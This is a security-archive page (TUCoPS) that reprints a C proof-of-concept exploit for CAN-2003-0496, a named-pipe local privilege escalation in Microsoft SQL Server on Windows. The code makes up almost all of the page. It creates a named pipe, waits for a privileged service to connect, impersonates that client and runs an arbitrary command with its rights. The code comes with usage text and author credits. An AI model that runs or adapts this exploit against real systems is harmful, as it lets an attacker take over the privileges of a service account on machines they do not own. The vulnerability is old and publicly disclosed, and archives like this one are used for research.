TUCoPS :: Web :: Apps :: namepex.txt

@Stake Named Pipe Exploit (mySQL)

Follow @stakes advisory...
/* tac0tac0.c - pay no attention to the name, long 
story...
*
* Author: Maceo 
* Modified to take advantage of CAN-2003-0496 Named 
Pipe Filename 
* Local Privilege Escalation Found by @stake. Use with 
their Advisory.
* -wirepair@sh0dan.org <mailto:-wirepair@sh0dan.org> <http://sh0dan.org>
*
* 
* All credits for code go to Maceo, i really did 
minimal work
* with his code, it took me like 3 seconds heh.
* Shouts to #innercircle, 
*
*/


#include <stdio.h>
#include <windows.h>


int main(int argc, char **argv)
{
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);

if (argc != 2) {
fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local 
Priv Escalation found by @stake.\n"
"This code is to be used with MS-SQL exactly as 
outlined in their advisory\n"
"All credit for this code goes to Maceo, he did a 
fine job.. -wire\n",argv[0]);
exit(1);
}
// build the next named pipe name //
char szPipe[64];
//sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", 
++dwNumber);
sprintf(szPipe, "\\\\.\\pipe\\poop");

// create the named pipe before scm can //
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n", 
szPipe);
return 3;
}


ConnectNamedPipe (hPipe, NULL);

// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}


// display impersonating users name //
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);

system(argv[1]);
CloseHandle(hPipe);
return 0;
}
_____________________________
For the best comics, toys, movies, and more,
please visit <<http://www.tfaw.com/?qt=wmf>>


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH